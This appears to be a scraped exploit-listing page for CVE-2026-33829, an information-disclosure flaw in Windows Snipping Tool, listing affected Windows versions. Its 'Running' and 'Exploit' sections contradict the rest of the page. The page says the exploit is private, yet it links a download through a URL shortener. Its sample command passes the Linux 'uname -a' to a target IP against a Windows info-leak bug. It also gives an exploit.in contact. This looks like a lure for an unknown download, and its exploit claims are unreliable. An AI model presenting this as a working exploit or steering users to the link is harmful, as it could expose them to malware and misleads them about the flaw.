Share
## https://sploitus.com/exploit?id=08A7282A-1685-5425-BE60-4C9CA3030800
# Security Vulnerability (CVE-2026-33829)

## Overview

A MEDIUM vulnerability, classified as CVE-2026-33829, has been identified, categorized under CWE-200, (CVSS 4.3).  Exposure of sensitive information to an unauthorized actor in Windows Snipping Tool allows an unauthorized attacker to perform spoofing over a network.

## Details

- **CVE ID**: [CVE-2026-33829](https://nvd.nist.gov/vuln/detail/CVE-2026-33829)
- **Discovered**: 2026-04-14
- **Published**: 2026-04-14
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## Vulnerability Description

Exposure of sensitive information to an unauthorized actor in Windows Snipping Tool allows an unauthorized attacker to perform spoofing over a network.

## Affected Versions

**Microsoft Windows 10 1607:**

- before 10.0.14393.9060

**Microsoft Windows 10 1809:**

- before 10.0.17763.8644

**Microsoft Windows 10 21H2:**

- before 10.0.19044.7184

**Microsoft Windows 10 22H2:**

- before 10.0.19045.7184

**Microsoft Windows 11 23H2:**

- before 10.0.22631.6936

**Microsoft Windows 11 24H2:**

- before 10.0.26100.8246

**Microsoft Windows 11 25H2:**

- before 10.0.26200.8246

**Microsoft Windows 11 26H1:**

- before 10.0.28000.1836

**Microsoft Windows Server 2012:**

- -
- r2

**Microsoft Windows Server 2016:**

- before 10.0.14393.9060

**Microsoft Windows Server 2019:**

- before 10.0.17763.8644

**Microsoft Windows Server 2022:**

- before 10.0.20348.5020

**Microsoft Windows Server 2022 23H2:**

- before 10.0.25398.2274

**Microsoft Windows Server 2025:**

- before 10.0.26100.32690

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Contact

For inquiries, please contact **security@exploit.in**

## Exploit:
### [Download here](https://tinyurl.com/2xta8xem)

![image](https://raw.githubusercontent.com/ByteWraith1/CVE-2026-33829/main/assets/CVE-2026-33829-20260605121502128738.jpg)